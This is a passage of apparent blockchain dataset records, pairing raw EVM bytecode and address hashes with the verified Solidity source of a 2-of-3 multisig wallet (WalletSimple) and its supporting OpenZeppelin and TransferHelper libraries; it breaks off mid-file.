1 | 19,493,973 | 4efc08adb04201bb809ac7355c65ed173e411f5747673b7d8e376003fa5269da | 9f34040005d68f91d1014f883767bd5d3b4193e15e7dd305d206c282e2822813 | a7fb5ca286fc3fd67525629048a4de3ba24cba2e | c77ad0a71008d7094a62cfbd250a2eb2afdf2776 | 1f259a4cad48b0cdbb1ee196dd71603e9e2eb62b | 608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe | ||
1 | 19,493,973 | 4efc08adb04201bb809ac7355c65ed173e411f5747673b7d8e376003fa5269da | 843f2afa38602ccb0e7c0537a47df74b7e3e82ea3e6a51086fa24f9d755ec2aa | 3a9d20beec1bfcb7b501b53937bf91fd5057d3ef | a7198f48c58e91f01317e70cd24c5cce475c1555 | 9b0f22059f55c02de84732e62b76229c5fd7429a | 3d602d80600a3d3981f3363d3d373d3d3d363d73e5dcdc13b628c2df813db1080367e929c1507ca05af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73e5dcdc13b628c2df813db1080367e929c1507ca05af43d82803e903d91602b57fd5bf3 | {{
"language": "Solidity",
"sources": {
"contracts/WalletSimple.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity 0.8.10;\nimport './TransferHelper.sol';\nimport './ERC20Interface.sol';\nimport './IForwarder.sol';\n\n/** ERC721, ERC1155 imports */\nimport '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol';\nimport '@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol';\n\n/**\n *\n * WalletSimple\n * ============\n *\n * Basic multi-signer wallet designed for use in a co-signing environment where 2 signatures are required to move funds.\n * Typically used in a 2-of-3 signing configuration. Uses ecrecover to allow for 2 signatures in a single transaction.\n *\n * The first signature is created on the operation hash (see Data Formats) and passed to sendMultiSig/sendMultiSigToken\n * The signer is determined by verifyMultiSig().\n *\n * The second signature is created by the submitter of the transaction and determined by msg.signer.\n *\n * Data Formats\n * ============\n *\n * The signature is created with ethereumjs-util.ecsign(operationHash).\n * Like the eth_sign RPC call, it packs the values as a 65-byte array of [r, s, v].\n * Unlike eth_sign, the message is not prefixed.\n *\n * The operationHash the result of keccak256(prefix, toAddress, value, data, expireTime).\n * For ether transactions, `prefix` is \"ETHER\".\n * For token transaction, `prefix` is \"ERC20\" and `data` is the tokenContractAddress.\n *\n *\n */\ncontract WalletSimple is IERC721Receiver, ERC1155Receiver {\n // Events\n event Deposited(address from, uint256 value, bytes data);\n event SafeModeActivated(address msgSender);\n event Transacted(\n address msgSender, // Address of the sender of the message initiating the transaction\n address otherSigner, // Address of the signer (second signature) used to initiate the transaction\n bytes32 operation, // Operation hash (see Data Formats)\n address toAddress, // The address the transaction was sent to\n uint256 value, // Amount of Wei sent to the address\n bytes data // Data sent when invoking the transaction\n );\n\n event BatchTransfer(address sender, address recipient, uint256 value);\n // this event shows the other signer and the operation hash that they signed\n // specific batch transfer events are emitted in Batcher\n event BatchTransacted(\n address msgSender, // Address of the sender of the message initiating the transaction\n address otherSigner, // Address of the signer (second signature) used to initiate the transaction\n bytes32 operation // Operation hash (see Data Formats)\n );\n\n // Public fields\n mapping(address => bool) public signers; // The addresses that can co-sign transactions on the wallet\n bool public safeMode = false; // When active, wallet may only send to signer addresses\n bool public initialized = false; // True if the contract has been initialized\n\n // Internal fields\n uint256 private constant MAX_SEQUENCE_ID_INCREASE = 10000;\n uint256 constant SEQUENCE_ID_WINDOW_SIZE = 10;\n uint256[SEQUENCE_ID_WINDOW_SIZE] recentSequenceIds;\n\n /**\n * Set up a simple multi-sig wallet by specifying the signers allowed to be used on this wallet.\n * 2 signers will be required to send a transaction from this wallet.\n * Note: The sender is NOT automatically added to the list of signers.\n * Signers CANNOT be changed once they are set\n *\n * @param allowedSigners An array of signers on the wallet\n */\n function init(address[] calldata allowedSigners) external onlyUninitialized {\n require(allowedSigners.length == 3, 'Invalid number of signers');\n\n for (uint8 i = 0; i < allowedSigners.length; i++) {\n require(allowedSigners[i] != address(0), 'Invalid signer');\n signers[allowedSigners[i]] = true;\n }\n\n initialized = true;\n }\n\n /**\n * Get the network identifier that signers must sign over\n * This provides protection signatures being replayed on other chains\n * This must be a virtual function because chain-specific contracts will need\n * to override with their own network ids. It also can't be a field\n * to allow this contract to be used by proxy with delegatecall, which will\n * not pick up on state variables\n */\n function getNetworkId() internal virtual pure returns (string memory) {\n return 'ETHER';\n }\n\n /**\n * Get the network identifier that signers must sign over for token transfers\n * This provides protection signatures being replayed on other chains\n * This must be a virtual function because chain-specific contracts will need\n * to override with their own network ids. It also can't be a field\n * to allow this contract to be used by proxy with delegatecall, which will\n * not pick up on state variables\n */\n function getTokenNetworkId() internal virtual pure returns (string memory) {\n return 'ERC20';\n }\n\n /**\n * Get the network identifier that signers must sign over for batch transfers\n * This provides protection signatures being replayed on other chains\n * This must be a virtual function because chain-specific contracts will need\n * to override with their own network ids. It also can't be a field\n * to allow this contract to be used by proxy with delegatecall, which will\n * not pick up on state variables\n */\n function getBatchNetworkId() internal virtual pure returns (string memory) {\n return 'ETHER-Batch';\n }\n\n /**\n * Determine if an address is a signer on this wallet\n * @param signer address to check\n * returns boolean indicating whether address is signer or not\n */\n function isSigner(address signer) public view returns (bool) {\n return signers[signer];\n }\n\n /**\n * Modifier that will execute internal code block only if the sender is an authorized signer on this wallet\n */\n modifier onlySigner {\n require(isSigner(msg.sender), 'Non-signer in onlySigner method');\n _;\n }\n\n /**\n * Modifier that will execute internal code block only if the contract has not been initialized yet\n */\n modifier onlyUninitialized {\n require(!initialized, 'Contract already initialized');\n _;\n }\n\n /**\n * Gets called when a transaction is received with data that does not match any other method\n */\n fallback() external payable {\n if (msg.value > 0) {\n // Fire deposited event if we are receiving funds\n emit Deposited(msg.sender, msg.value, msg.data);\n }\n }\n\n /**\n * Gets called when a transaction is received with ether and no data\n */\n receive() external payable {\n if (msg.value > 0) {\n // Fire deposited event if we are receiving funds\n // message data is always empty for receive. If there is data it is sent to fallback function.\n emit Deposited(msg.sender, msg.value, '');\n }\n }\n\n /**\n * Execute a multi-signature transaction from this wallet using 2 signers: one from msg.sender and the other from ecrecover.\n * Sequence IDs are numbers starting from 1. They are used to prevent replay attacks and may not be repeated.\n *\n * @param toAddress the destination address to send an outgoing transaction\n * @param value the amount in Wei to be sent\n * @param data the data to send to the toAddress when invoking the transaction\n * @param expireTime the number of seconds since 1970 for which this transaction is valid\n * @param sequenceId the unique sequence id obtainable from getNextSequenceId\n * @param signature see Data Formats\n */\n function sendMultiSig(\n address toAddress,\n uint256 value,\n bytes calldata data,\n uint256 expireTime,\n uint256 sequenceId,\n bytes calldata signature\n ) external onlySigner {\n // Verify the other signer\n bytes32 operationHash = keccak256(\n abi.encodePacked(\n getNetworkId(),\n toAddress,\n value,\n data,\n expireTime,\n sequenceId\n )\n );\n\n address otherSigner = verifyMultiSig(\n toAddress,\n operationHash,\n signature,\n expireTime,\n sequenceId\n );\n\n // Success, send the transaction\n (bool success, ) = toAddress.call{ value: value }(data);\n require(success, 'Call execution failed');\n\n emit Transacted(\n msg.sender,\n otherSigner,\n operationHash,\n toAddress,\n value,\n data\n );\n }\n\n /**\n * Execute a batched multi-signature transaction from this wallet using 2 signers: one from msg.sender and the other from ecrecover.\n * Sequence IDs are numbers starting from 1. They are used to prevent replay attacks and may not be repeated.\n * The recipients and values to send are encoded in two arrays, where for index i, recipients[i] will be sent values[i].\n *\n * @param recipients The list of recipients to send to\n * @param values The list of values to send to\n * @param expireTime the number of seconds since 1970 for which this transaction is valid\n * @param sequenceId the unique sequence id obtainable from getNextSequenceId\n * @param signature see Data Formats\n */\n function sendMultiSigBatch(\n address[] calldata recipients,\n uint256[] calldata values,\n uint256 expireTime,\n uint256 sequenceId,\n bytes calldata signature\n ) external onlySigner {\n require(recipients.length != 0, 'Not enough recipients');\n require(\n recipients.length == values.length,\n 'Unequal recipients and values'\n );\n require(recipients.length < 256, 'Too many recipients, max 255');\n\n // Verify the other signer\n bytes32 operationHash = keccak256(\n abi.encodePacked(\n getBatchNetworkId(),\n recipients,\n values,\n expireTime,\n sequenceId\n )\n );\n\n // the first parameter (toAddress) is used to ensure transactions in safe mode only go to a signer\n // if in safe mode, we should use normal sendMultiSig to recover, so this check will always fail if in safe mode\n require(!safeMode, 'Batch in safe mode');\n address otherSigner = verifyMultiSig(\n address(0x0),\n operationHash,\n signature,\n expireTime,\n sequenceId\n );\n\n batchTransfer(recipients, values);\n emit BatchTransacted(msg.sender, otherSigner, operationHash);\n }\n\n /**\n * Transfer funds in a batch to each of recipients\n * @param recipients The list of recipients to send to\n * @param values The list of values to send to recipients.\n * The recipient with index i in recipients array will be sent values[i].\n * Thus, recipients and values must be the same length\n */\n function batchTransfer(\n address[] calldata recipients,\n uint256[] calldata values\n ) internal {\n for (uint256 i = 0; i < recipients.length; i++) {\n require(address(this).balance >= values[i], 'Insufficient funds');\n\n (bool success, ) = recipients[i].call{ value: values[i] }('');\n require(success, 'Call failed');\n\n emit BatchTransfer(msg.sender, recipients[i], values[i]);\n }\n }\n\n /**\n * Execute a multi-signature token transfer from this wallet using 2 signers: one from msg.sender and the other from ecrecover.\n * Sequence IDs are numbers starting from 1. They are used to prevent replay attacks and may not be repeated.\n *\n * @param toAddress the destination address to send an outgoing transaction\n * @param value the amount in tokens to be sent\n * @param tokenContractAddress the address of the erc20 token contract\n * @param expireTime the number of seconds since 1970 for which this transaction is valid\n * @param sequenceId the unique sequence id obtainable from getNextSequenceId\n * @param signature see Data Formats\n */\n function sendMultiSigToken(\n address toAddress,\n uint256 value,\n address tokenContractAddress,\n uint256 expireTime,\n uint256 sequenceId,\n bytes calldata signature\n ) external onlySigner {\n // Verify the other signer\n bytes32 operationHash = keccak256(\n abi.encodePacked(\n getTokenNetworkId(),\n toAddress,\n value,\n tokenContractAddress,\n expireTime,\n sequenceId\n )\n );\n\n verifyMultiSig(toAddress, operationHash, signature, expireTime, sequenceId);\n\n TransferHelper.safeTransfer(tokenContractAddress, toAddress, value);\n }\n\n /**\n * Execute a token flush from one of the forwarder addresses. This transfer needs only a single signature and can be done by any signer\n *\n * @param forwarderAddress the address of the forwarder address to flush the tokens from\n * @param tokenContractAddress the address of the erc20 token contract\n */\n function flushForwarderTokens(\n address payable forwarderAddress,\n address tokenContractAddress\n ) external onlySigner {\n IForwarder forwarder = IForwarder(forwarderAddress);\n forwarder.flushTokens(tokenContractAddress);\n }\n\n /**\n * Execute a ERC721 token flush from one of the forwarder addresses. This transfer needs only a single signature and can be done by any signer\n *\n * @param forwarderAddress the address of the forwarder address to flush the tokens from\n * @param tokenContractAddress the address of the erc20 token contract\n */\n function flushERC721ForwarderTokens(\n address payable forwarderAddress,\n address tokenContractAddress,\n uint256 tokenId\n ) external onlySigner {\n IForwarder forwarder = IForwarder(forwarderAddress);\n forwarder.flushERC721Token(tokenContractAddress, tokenId);\n }\n\n /**\n * Execute a ERC1155 batch token flush from one of the forwarder addresses.\n * This transfer needs only a single signature and can be done by any signer.\n *\n * @param forwarderAddress the address of the forwarder address to flush the tokens from\n * @param tokenContractAddress the address of the erc1155 token contract\n */\n function batchFlushERC1155ForwarderTokens(\n address payable forwarderAddress,\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external onlySigner {\n IForwarder forwarder = IForwarder(forwarderAddress);\n forwarder.batchFlushERC1155Tokens(tokenContractAddress, tokenIds);\n }\n\n /**\n * Execute a ERC1155 token flush from one of the forwarder addresses.\n * This transfer needs only a single signature and can be done by any signer.\n *\n * @param forwarderAddress the address of the forwarder address to flush the tokens from\n * @param tokenContractAddress the address of the erc1155 token contract\n * @param tokenId the token id associated with the ERC1155\n */\n function flushERC1155ForwarderTokens(\n address payable forwarderAddress,\n address tokenContractAddress,\n uint256 tokenId\n ) external onlySigner {\n IForwarder forwarder = IForwarder(forwarderAddress);\n forwarder.flushERC1155Tokens(tokenContractAddress, tokenId);\n }\n\n /**\n * Sets the autoflush 721 parameter on the forwarder.\n *\n * @param forwarderAddress the address of the forwarder to toggle.\n * @param autoFlush whether to autoflush erc721 tokens\n */\n function setAutoFlush721(address forwarderAddress, bool autoFlush)\n external\n onlySigner\n {\n IForwarder forwarder = IForwarder(forwarderAddress);\n forwarder.setAutoFlush721(autoFlush);\n }\n\n /**\n * Sets the autoflush 721 parameter on the forwarder.\n *\n * @param forwarderAddress the address of the forwarder to toggle.\n * @param autoFlush whether to autoflush erc1155 tokens\n */\n function setAutoFlush1155(address forwarderAddress, bool autoFlush)\n external\n onlySigner\n {\n IForwarder forwarder = IForwarder(forwarderAddress);\n forwarder.setAutoFlush1155(autoFlush);\n }\n\n /**\n * Do common multisig verification for both eth sends and erc20token transfers\n *\n * @param toAddress the destination address to send an outgoing transaction\n * @param operationHash see Data Formats\n * @param signature see Data Formats\n * @param expireTime the number of seconds since 1970 for which this transaction is valid\n * @param sequenceId the unique sequence id obtainable from getNextSequenceId\n * returns address that has created the signature\n */\n function verifyMultiSig(\n address toAddress,\n bytes32 operationHash,\n bytes calldata signature,\n uint256 expireTime,\n uint256 sequenceId\n ) private returns (address) {\n address otherSigner = recoverAddressFromSignature(operationHash, signature);\n\n // Verify if we are in safe mode. In safe mode, the wallet can only send to signers\n require(!safeMode || isSigner(toAddress), 'External transfer in safe mode');\n\n // Verify that the transaction has not expired\n require(expireTime >= block.timestamp, 'Transaction expired');\n\n // Try to insert the sequence ID. Will revert if the sequence id was invalid\n tryInsertSequenceId(sequenceId);\n\n require(isSigner(otherSigner), 'Invalid signer');\n\n require(otherSigner != msg.sender, 'Signers cannot be equal');\n\n return otherSigner;\n }\n\n /**\n * ERC721 standard callback function for when a ERC721 is transfered.\n *\n * @param _operator The address of the nft contract\n * @param _from The address of the sender\n * @param _tokenId The token id of the nft\n * @param _data Additional data with no specified format, sent in call to `_to`\n */\n function onERC721Received(\n address _operator,\n address _from,\n uint256 _tokenId,\n bytes memory _data\n ) external virtual override returns (bytes4) {\n return this.onERC721Received.selector;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155Received(\n address _operator,\n address _from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n return this.onERC1155Received.selector;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155BatchReceived(\n address _operator,\n address _from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n return this.onERC1155BatchReceived.selector;\n }\n\n /**\n * Irrevocably puts contract into safe mode. When in this mode, transactions may only be sent to signing addresses.\n */\n function activateSafeMode() external onlySigner {\n safeMode = true;\n emit SafeModeActivated(msg.sender);\n }\n\n /**\n * Gets signer's address using ecrecover\n * @param operationHash see Data Formats\n * @param signature see Data Formats\n * returns address recovered from the signature\n */\n function recoverAddressFromSignature(\n bytes32 operationHash,\n bytes memory signature\n ) private pure returns (address) {\n require(signature.length == 65, 'Invalid signature - wrong length');\n\n // We need to unpack the signature, which is given as an array of 65 bytes (like eth.sign)\n bytes32 r;\n bytes32 s;\n uint8 v;\n\n // solhint-disable-next-line\n assembly {\n r := mload(add(signature, 32))\n s := mload(add(signature, 64))\n v := and(mload(add(signature, 65)), 255)\n }\n if (v < 27) {\n v += 27; // Ethereum versions are 27 or 28 as opposed to 0 or 1 which is submitted by some signing libs\n }\n\n // protect against signature malleability\n // S value must be in the lower half orader\n // reference: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/051d340171a93a3d401aaaea46b4b62fa81e5d7c/contracts/cryptography/ECDSA.sol#L53\n require(\n uint256(s) <=\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0,\n \"ECDSA: invalid signature 's' value\"\n );\n\n // note that this returns 0 if the signature is invalid\n // Since 0x0 can never be a signer, when the recovered signer address\n // is checked against our signer list, that 0x0 will cause an invalid signer failure\n return ecrecover(operationHash, v, r, s);\n }\n\n /**\n * Verify that the sequence id has not been used before and inserts it. Throws if the sequence ID was not accepted.\n * We collect a window of up to 10 recent sequence ids, and allow any sequence id that is not in the window and\n * greater than the minimum element in the window.\n * @param sequenceId to insert into array of stored ids\n */\n function tryInsertSequenceId(uint256 sequenceId) private onlySigner {\n // Keep a pointer to the lowest value element in the window\n uint256 lowestValueIndex = 0;\n // fetch recentSequenceIds into memory for function context to avoid unnecessary sloads\n\n\n uint256[SEQUENCE_ID_WINDOW_SIZE] memory _recentSequenceIds\n = recentSequenceIds;\n for (uint256 i = 0; i < SEQUENCE_ID_WINDOW_SIZE; i++) {\n require(_recentSequenceIds[i] != sequenceId, 'Sequence ID already used');\n\n if (_recentSequenceIds[i] < _recentSequenceIds[lowestValueIndex]) {\n lowestValueIndex = i;\n }\n }\n\n // The sequence ID being used is lower than the lowest value in the window\n // so we cannot accept it as it may have been used before\n require(\n sequenceId > _recentSequenceIds[lowestValueIndex],\n 'Sequence ID below window'\n );\n\n // Block sequence IDs which are much higher than the lowest value\n // This prevents people blocking the contract by using very large sequence IDs quickly\n require(\n sequenceId <=\n (_recentSequenceIds[lowestValueIndex] + MAX_SEQUENCE_ID_INCREASE),\n 'Sequence ID above maximum'\n );\n\n recentSequenceIds[lowestValueIndex] = sequenceId;\n }\n\n /**\n * Gets the next available sequence ID for signing when using executeAndConfirm\n * returns the sequenceId one higher than the highest currently stored\n */\n function getNextSequenceId() external view returns (uint256) {\n uint256 highestSequenceId = 0;\n for (uint256 i = 0; i < SEQUENCE_ID_WINDOW_SIZE; i++) {\n if (recentSequenceIds[i] > highestSequenceId) {\n highestSequenceId = recentSequenceIds[i];\n }\n }\n return highestSequenceId + 1;\n }\n}\n"
},
"contracts/TransferHelper.sol": {
"content": "// SPDX-License-Identifier: GPL-3.0-or-later\n// source: https://github.com/Uniswap/solidity-lib/blob/master/contracts/libraries/TransferHelper.sol\npragma solidity 0.8.10;\n\nimport '@openzeppelin/contracts/utils/Address.sol';\n\n// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false\nlibrary TransferHelper {\n function safeTransfer(\n address token,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transfer(address,uint256)')));\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(0xa9059cbb, to, value)\n );\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n 'TransferHelper::safeTransfer: transfer failed'\n );\n }\n\n function safeTransferFrom(\n address token,\n address from,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));\n (bool success, bytes memory returndata) = token.call(\n abi.encodeWithSelector(0x23b872dd, from, to, value)\n );\n Address.verifyCallResult(\n success,\n returndata,\n 'TransferHelper::transferFrom: transferFrom failed'\n );\n }\n}\n"
},
"contracts/ERC20Interface.sol": {
"content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\n/**\n * Contract that exposes the needed erc20 token functions\n */\n\nabstract contract ERC20Interface {\n // Send _value amount of tokens to address _to\n function transfer(address _to, uint256 _value)\n public\n virtual\n returns (bool success);\n\n // Get the account balance of another account with address _owner\n function balanceOf(address _owner)\n public\n virtual\n view\n returns (uint256 balance);\n}\n"
},
"contracts/IForwarder.sol": {
"content": "pragma solidity ^0.8.0;\n\nimport '@openzeppelin/contracts/utils/introspection/IERC165.sol';\n\ninterface IForwarder is IERC165 {\n /**\n * Sets the autoflush721 parameter.\n *\n * @param autoFlush whether to autoflush erc721 tokens\n */\n function setAutoFlush721(bool autoFlush) external;\n\n /**\n * Sets the autoflush1155 parameter.\n *\n * @param autoFlush whether to autoflush erc1155 tokens\n */\n function setAutoFlush1155(bool autoFlush) external;\n\n /**\n * Execute a token transfer of the full balance from the forwarder token to the parent address\n *\n * @param tokenContractAddress the address of the erc20 token contract\n */\n function flushTokens(address tokenContractAddress) external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address\n *\n * @param tokenContractAddress the address of the ERC721 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a batch nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenIds The token ids of the nfts\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external;\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/utils/ERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC1155Receiver.sol\";\nimport \"../../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\nabstract contract ERC1155Receiver is ERC165, IERC1155Receiver {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId);\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize, which returns 0 for contracts in\n // construction, since the code is only stored at the end of the\n // constructor execution.\n\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
